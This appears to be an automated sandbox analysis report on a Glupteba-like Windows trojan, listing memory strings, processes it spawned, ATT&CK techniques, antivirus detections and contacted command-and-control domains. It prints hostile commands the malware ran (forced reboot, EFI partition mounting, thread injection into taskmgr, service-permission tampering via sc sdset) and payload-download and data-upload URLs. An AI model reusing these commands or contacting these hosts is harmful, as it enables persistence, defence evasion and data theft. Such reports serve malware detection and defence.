valuebad Td valuebad Th valuebad Tq valuebad flushGenbad g statusbad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegc
Source: upd.exe, 00000005.00000002.321801363.0000000000FE8000.00000004.00000020.sdmp, upd.exe, 00000008.00000002.350773419.0000000000EC7000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:57:09, Info CBS Appl: DetectUpdate, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Local Parent: Microsoft-Hyper-V-Tools-All, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Tools-All, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 908ea1a77ea441bcdf0a5b3d829d1614, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 6739fa9f684abbea4b2e76cf14a0a1f4, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Package-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 23bad0369164ebf4f04ee41a74386028, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: csrss.exe	Binary or memory string: releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Package-base-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 2d446151824b69a919c7d5646f0806b8, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: upd.exe, csrss.exe	Binary or memory string: AhomAtoiCDN=CESTChamDATADashDateEESTEtagFromGOGCGoneHEADHKCCHKLMHostJulyJuneLisuMiaoModiNZDTNZSTNameNewaPINGPOSTQEMUROOTSASTStatThaiUUIDWESTXeon"%s"\rss\smb\u00\wup %+v m=] n=agedarchasn1avx2basebindbirdbluebmi1bmi2boldboolbushcallcap cas1cas2cas3cas4cas5cas6
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-Clients-62, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: Microsoft-Hyper-V-Offline-Core-Group-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-Clients, new state: Off

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe

Code function: 36_2_00007FF7019BE1D4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

36_2_00007FF7019BE1D4

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe

Code function: 36_2_00007FF7019D9D3C GetProcessHeap,

36_2_00007FF7019D9D3C

Source: C:\Users\user\Desktop\upd.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019BD8BC SetUnhandledExceptionFilter,_invalid_parameter_noinfo,	36_2_00007FF7019BD8BC
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019BE1D4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_00007FF7019BE1D4
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019C543C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_00007FF7019C543C
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019BE37C SetUnhandledExceptionFilter,	36_2_00007FF7019BE37C
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: 36_2_00007FF7019BDE24 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	36_2_00007FF7019BDE24

HIPS / PFW / Operating System Protection Evasion:

Contains functionality to inject threads in other processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe

36_2_00007FF7019B27F0

Performs DNS TXT record lookups

Show sources

Source: Traffic	DNS traffic detected: queries for: trumops.com
Source: Traffic	DNS traffic detected: queries for: trumops.com
Source: Traffic	DNS traffic detected: queries for: logs.trumops.com
Source: Traffic	DNS traffic detected: queries for: 442b90d2-fde4-485f-a003-6086e2191d6e.uuid.trumops.com
Source: Traffic	DNS traffic detected: queries for: e0a50c60a85bfbb9ecf45bff0239aaa3.hash.trumops.com

Source: C:\Users\user\Desktop\0NlSa5bf55.exe	Process created: C:\Users\user\Desktop\upd.exe C:\Users\user\Desktop\upd.exe -update	Jump to behavior
Source: C:\Users\user\Desktop\upd.exe	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe -cleanup C:\Users\user\Desktop\upd.exe	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 5	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Jump to behavior
Source: C:\Windows\windefender.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Source: csrss.exe, 0000000B.00000002.569661846.0000000032560000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: csrss.exe, 0000000B.00000002.569661846.0000000032560000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: csrss.exe, 0000000B.00000002.569661846.0000000032560000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: csrss.exe, 0000000B.00000002.569661846.0000000032560000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	36_2_00007FF7019D9A24
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: EnumSystemLocalesW,	36_2_00007FF7019D0A8C
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	36_2_00007FF7019D94A4
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: EnumSystemLocalesW,	36_2_00007FF7019D940C
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: EnumSystemLocalesW,	36_2_00007FF7019D933C
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: GetLocaleInfoW,	36_2_00007FF7019D96F0
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: GetLocaleInfoW,	36_2_00007FF7019D98F8
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	36_2_00007FF7019D9848
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: try_get_function,GetLocaleInfoW,	36_2_00007FF7019D0FD0
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	36_2_00007FF7019D8FF0

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe

Code function: 36_2_00007FF7019D5140 cpuid

36_2_00007FF7019D5140

Source: C:\Users\user\Desktop\0NlSa5bf55.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe

Code function: 36_2_00007FF7019BE0C8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

36_2_00007FF7019BE0C8

Source: C:\Users\user\Desktop\upd.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct

Remote Access Functionality:

Yara detected Metasploit Payload

Show sources

Source: Yara match	File source: 11.2.csrss.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.upd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.upd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation21	Windows Service1	Windows Service1	Obfuscated Files or Information11	Credential API Hooking1	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer13	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Command and Scripting Interpreter2	Scheduled Task/Job1	Process Injection112	Software Packing11	Input Capture1	File and Directory Discovery1	Remote Desktop Protocol	Credential API Hooking1	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Scheduled Task/Job1	Logon Script (Windows)	Scheduled Task/Job1	Masquerading231	Security Account Manager	System Information Discovery34	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Application Layer Protocol4	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Service Execution1	Logon Script (Mac)	Logon Script (Mac)	Virtualization/Sandbox Evasion2	NTDS	Security Software Discovery241	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol25	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection112	LSA Secrets	Virtualization/Sandbox Evasion2	SSH	Keylogging	Data Transfer Size Limits	Proxy1	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	Process Discovery13	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
0NlSa5bf55.exe	67%	Virustotal		Browse
0NlSa5bf55.exe	64%	ReversingLabs	Win32.Trojan.WinGoRanumBot

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	100%	Avira	TR/Agent.twerk
C:\Users\user\Desktop\upd.exe	100%	Avira	TR/AD.GoCloudnet.vvvot
C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	100%	Avira	TR/Redcap.gsjan
C:\Windows\windefender.exe	100%	Avira	TR/Crypt.XPACK.eocey
C:\Windows\rss\csrss.exe	100%	Avira	TR/AD.GoCloudnet.vvvot
C:\Users\user\Desktop\upd.exe	100%	Joe Sandbox ML
C:\Windows\rss\csrss.exe	100%	Joe Sandbox ML
B:\EFI\Boot\old.efi (copy)	0%	ReversingLabs
B:\EFI\Microsoft\Boot\fw.efi (copy)	0%	ReversingLabs
C:\EFI\Boot\EfiGuardDxe.efi	0%	ReversingLabs
C:\EFI\Boot\bootx64.efi	0%	ReversingLabs
C:\EFI\Microsoft\Boot\bootmgfw.efi	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	59%	ReversingLabs	Win64.Trojan.Glupject
C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	14%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	73%	ReversingLabs	Win64.Trojan.Glupteba
C:\Users\user\Desktop\upd.exe	31%	Metadefender		Browse
C:\Users\user\Desktop\upd.exe	86%	ReversingLabs	Win32.Trojan.WinGoRanumBot
C:\Windows\rss\csrss.exe	31%	Metadefender		Browse
C:\Windows\rss\csrss.exe	86%	ReversingLabs	Win32.Trojan.WinGoRanumBot
C:\Windows\windefender.exe	29%	Metadefender		Browse
C:\Windows\windefender.exe	79%	ReversingLabs	Win32.Trojan.WinGoRanumBot

Unpacked PE Files

Source	Detection	Scanner	Label	Download
11.2.csrss.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
5.0.upd.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.0.0NlSa5bf55.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.2.csrss.exe.11c38000.10.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.0.csrss.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.csrss.exe.400000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.2.csrss.exe.11bb8000.9.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
5.0.upd.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
5.0.upd.exe.400000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
43.0.windefender.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.3.0NlSa5bf55.exe.115f2000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.0NlSa5bf55.exe.115f4000.3.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.0.csrss.exe.400000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.0NlSa5bf55.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
43.2.windefender.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
5.2.upd.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.windefender.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
5.0.upd.exe.400000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
8.0.upd.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.csrss.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.3.0NlSa5bf55.exe.115f6000.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.2.upd.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.2.windefender.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Link
runmodes.com	7%	Virustotal	Browse
server16.trumops.com	7%	Virustotal	Browse
gohnot.com	11%	Virustotal	Browse
server2.trumops.com	7%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://retoti.comidentifier	0%	Avira URL Cloud	safe
https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comFirstInstallDateFirstInsta	0%	Avira URL Cloud	safe
https://trumops.comhttps://retoti.comS-1-5-21-3853321935-2125563209-4053062332-1002	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/spesmilo/electrum/master/electrum/servers.jsontls:	0%	URL Reputation	safe
https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comS-1-5-21-3853321935-212556	0%	Avira URL Cloud	safe
http://gais.cs.ccu.edu.tw/robot.php)Gulper	0%	Avira URL Cloud	safe
https://server2.trumops.comhttps://server2.trumops.comserver2.trumops.com:443ultserver2.trumops.com:	0%	Avira URL Cloud	safe
https://server2.trumops.com/api/pollserver2.trumops.com	0%	Avira URL Cloud	safe
https://trumops.comhttps://retoti.commusnotifyicon.exeRuntimeBroker.exersionruntimebroker.exeSgrmBro	0%	Avira URL Cloud	safe
https://logs.trumops.com	0%	Avira URL Cloud	safe
http://www.spidersoft.com)Wget/1.9	0%	Avira URL Cloud	safe
https://retoti.com	0%	Avira URL Cloud	safe
https://trumops.comif-unmodified-sinceillegal	0%	Avira URL Cloud	safe
http://help.ya	0%	Avira URL Cloud	safe
https://server2.trumops.comserver2.trumops.com:443server2.trumops.com:443tcpserver2.trumops.com	0%	Avira URL Cloud	safe
https://server16.trumops.comc=dfd675dbadcd07bb&kind=main&server16.trumops.com:443server16.trumops.co	0%	Avira URL Cloud	safe
http://devlog.gregarius.net/docs/ua)Links	0%	URL Reputation	safe
https://runmodes.com/api/logMachineGuidServiceVersionarch=64&build_number=17134&ec%3Af4%3Abb%3A86%3A	100%	Avira URL Cloud	malware
https://trumops.comServiceVersionServiceVersionServersVersionServersVersionDistributorIDCampaignIDOS	0%	Avira URL Cloud	safe
https://server2.trumops.com	0%	Avira URL Cloud	safe
https://runmodes.com/api/log	100%	Avira URL Cloud	malware
http://grub.org)Mozilla/5.0	0%	Avira URL Cloud	safe
http://www.everyfeed.c	0%	Avira URL Cloud	safe
https://trumops.com	0%	Avira URL Cloud	safe
http://gohnot.com/d28daa3fb329cff58b19acdf478b7882/app.exe	0%	Avira URL Cloud	safe
https://runmodes.com/api/log442b90d2-fde4-485f-a003-6086e2191d6e.uuid.trumops.com	100%	Avira URL Cloud	malware
http://www.exabot.com/go/robot)Opera/9.80	0%	URL Reputation	safe
http://www.googlebot.com/bot.html)Links	0%	URL Reputation	safe
http://schemas.microsoft	0%	URL Reputation	safe
https://server2.trumops.comc=fa2e76e6e1aa03da&uuid=server2.trumops.com:443server2.trumops.com:443tcp	0%	Avira URL Cloud	safe
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
https://humisnee.com/sbmstart.phpindefinite	0%	Avira URL Cloud	safe
http://gohnot.com/d28daa3fb329cff58b19acdf478b7882	0%	Avira URL Cloud	safe
https://server2.trumops.com/api/poll	0%	Avira URL Cloud	safe
https://logs.trumops.comhttps://runmodes.com/api/loghttps://server2.trumops.com	0%	Avira URL Cloud	safe
https://trumops.com/api/install-failureinvalid	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://server2.trumops.com/api/pollE	0%	Avira URL Cloud	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
https://server16.trumops.com	0%	Avira URL Cloud	safe
http://gohnot.com/d28daa3fb329cff58b19acdf478b7882:s	0%	Avira URL Cloud	safe
http://https://_bad_pdb_file.pdb	0%	Avira URL Cloud	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
http://gohnot.com/d28daa3fb329cff58b19acdf478b7882/watchdog.exe	0%	Avira URL Cloud	safe
http://www.bloglines.com)F	0%	Avira URL Cloud	safe
http://misc.yahoo.com.cn/he	0%	Avira URL Cloud	safe
http://newscommer.com/app/app.exe	100%	URL Reputation	malware
http://crl.g	0%	URL Reputation	safe
https://blockchain.infoindex	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe
https://server16.trumops.com/api/cdn?c=dfd675dbadcd07bb&kind=main&uuid=	0%	Avira URL Cloud	safe
https://www.tiktok.com/legal/report/	0%	Avira URL Cloud	safe
https://sitescore.aiValue	0%	Avira URL Cloud	safe
http://www.avantbrowser.com)MOT-V9mm/00.62	0%	Avira URL Cloud	safe
https://runmodes.com/api/loginvalid	100%	Avira URL Cloud	malware
https://server2.trumops.comserver2.trumops.com:443server2.trumops.com:443tcpserver2.trumops.coma	0%	Avira URL Cloud	safe
http://help.disneyplus.com.	0%	URL Reputation	safe
https://server2.trumops.com/bots/post-ia-data?uuid=442b90d2-fde4-485f-a003-6086e2191d6e	0%	Avira URL Cloud	safe
https://server2.trumops.com/api/cdn?c=fa2e76e6e1aa03da&uuid=442b90d2-fde4-485f-a003-6086e2191d6e	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
runmodes.com	172.67.207.136	true	true	7%, Virustotal, Browse	unknown
server16.trumops.com	172.67.139.144	true	false	7%, Virustotal, Browse	unknown
gohnot.com	104.21.92.165	true	false	11%, Virustotal, Browse	unknown
server2.trumops.com	104.21.79.9	true	false	7%, Virustotal, Browse	unknown
trumops.com	unknown	unknown	true		unknown
442b90d2-fde4-485f-a003-6086e2191d6e.uuid.trumops.com	unknown	unknown	true		unknown
logs.trumops.com	unknown	unknown	true		unknown
e0a50c60a85bfbb9ecf45bff0239aaa3.hash.trumops.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://runmodes.com/api/log	true	Avira URL Cloud: malware	unknown
http://gohnot.com/d28daa3fb329cff58b19acdf478b7882/app.exe	false	Avira URL Cloud: safe	unknown
https://server2.trumops.com/api/poll	false	Avira URL Cloud: safe	unknown
http://gohnot.com/d28daa3fb329cff58b19acdf478b7882/watchdog.exe	false	Avira URL Cloud: safe	unknown
https://server16.trumops.com/api/cdn?c=dfd675dbadcd07bb&kind=main&uuid=	false	Avira URL Cloud: safe	unknown
https://server2.trumops.com/bots/post-ia-data?uuid=442b90d2-fde4-485f-a003-6086e2191d6e	false	Avira URL Cloud: safe	unknown
https://server2.trumops.com/api/cdn?c=fa2e76e6e1aa03da&uuid=442b90d2-fde4-485f-a003-6086e2191d6e	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://retoti.comidentifier	upd.exe, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://search.msn.com/msnb	upd.exe, csrss.exe	false		high
https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comFirstInstallDateFirstInsta	upd.exe, 00000005.00000002.323505653.00000000118BA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://trumops.comhttps://retoti.comS-1-5-21-3853321935-2125563209-4053062332-1002	upd.exe, 00000005.00000002.323617755.00000000118CE000.00000004.00000001.sdmp, upd.exe, 00000005.00000002.323544402.00000000118BE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/spesmilo/electrum/master/electrum/servers.jsontls:	upd.exe, csrss.exe	false	URL Reputation: safe	unknown
https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comS-1-5-21-3853321935-212556	upd.exe, 00000008.00000002.351356403.000000001180A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://gais.cs.ccu.edu.tw/robot.php)Gulper	upd.exe, csrss.exe	false	Avira URL Cloud: safe	unknown
https://server2.trumops.comhttps://server2.trumops.comserver2.trumops.com:443ultserver2.trumops.com:	csrss.exe, 0000000B.00000002.567515603.00000000118BE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://server2.trumops.com/api/pollserver2.trumops.com	csrss.exe, 0000000B.00000002.567910236.0000000011926000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://trumops.comhttps://retoti.commusnotifyicon.exeRuntimeBroker.exersionruntimebroker.exeSgrmBro	csrss.exe, 0000000B.00000002.566919363.0000000011804000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://logs.trumops.com	csrss.exe, 0000000B.00000003.412056794.00000000118BE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.google.com/bot.html)tls:	upd.exe, csrss.exe	false		high
http://www.spidersoft.com)Wget/1.9	upd.exe, csrss.exe	false	Avira URL Cloud: safe	low
https://retoti.com	upd.exe, 00000005.00000002.323505653.00000000118BA000.00000004.00000001.sdmp, upd.exe, 00000008.00000002.351385142.0000000011810000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000002.566919363.0000000011804000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://trumops.comif-unmodified-sinceillegal	0NlSa5bf55.exe, 0NlSa5bf55.exe, 00000000.00000002.310849116.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://help.ya	upd.exe, csrss.exe	false	Avira URL Cloud: safe	unknown
https://server2.trumops.comserver2.trumops.com:443server2.trumops.com:443tcpserver2.trumops.com	csrss.exe, 0000000B.00000003.410492385.00000000119AC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://server16.trumops.comc=dfd675dbadcd07bb&kind=main&server16.trumops.com:443server16.trumops.co	0NlSa5bf55.exe, 00000000.00000002.314895164.00000000114C0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
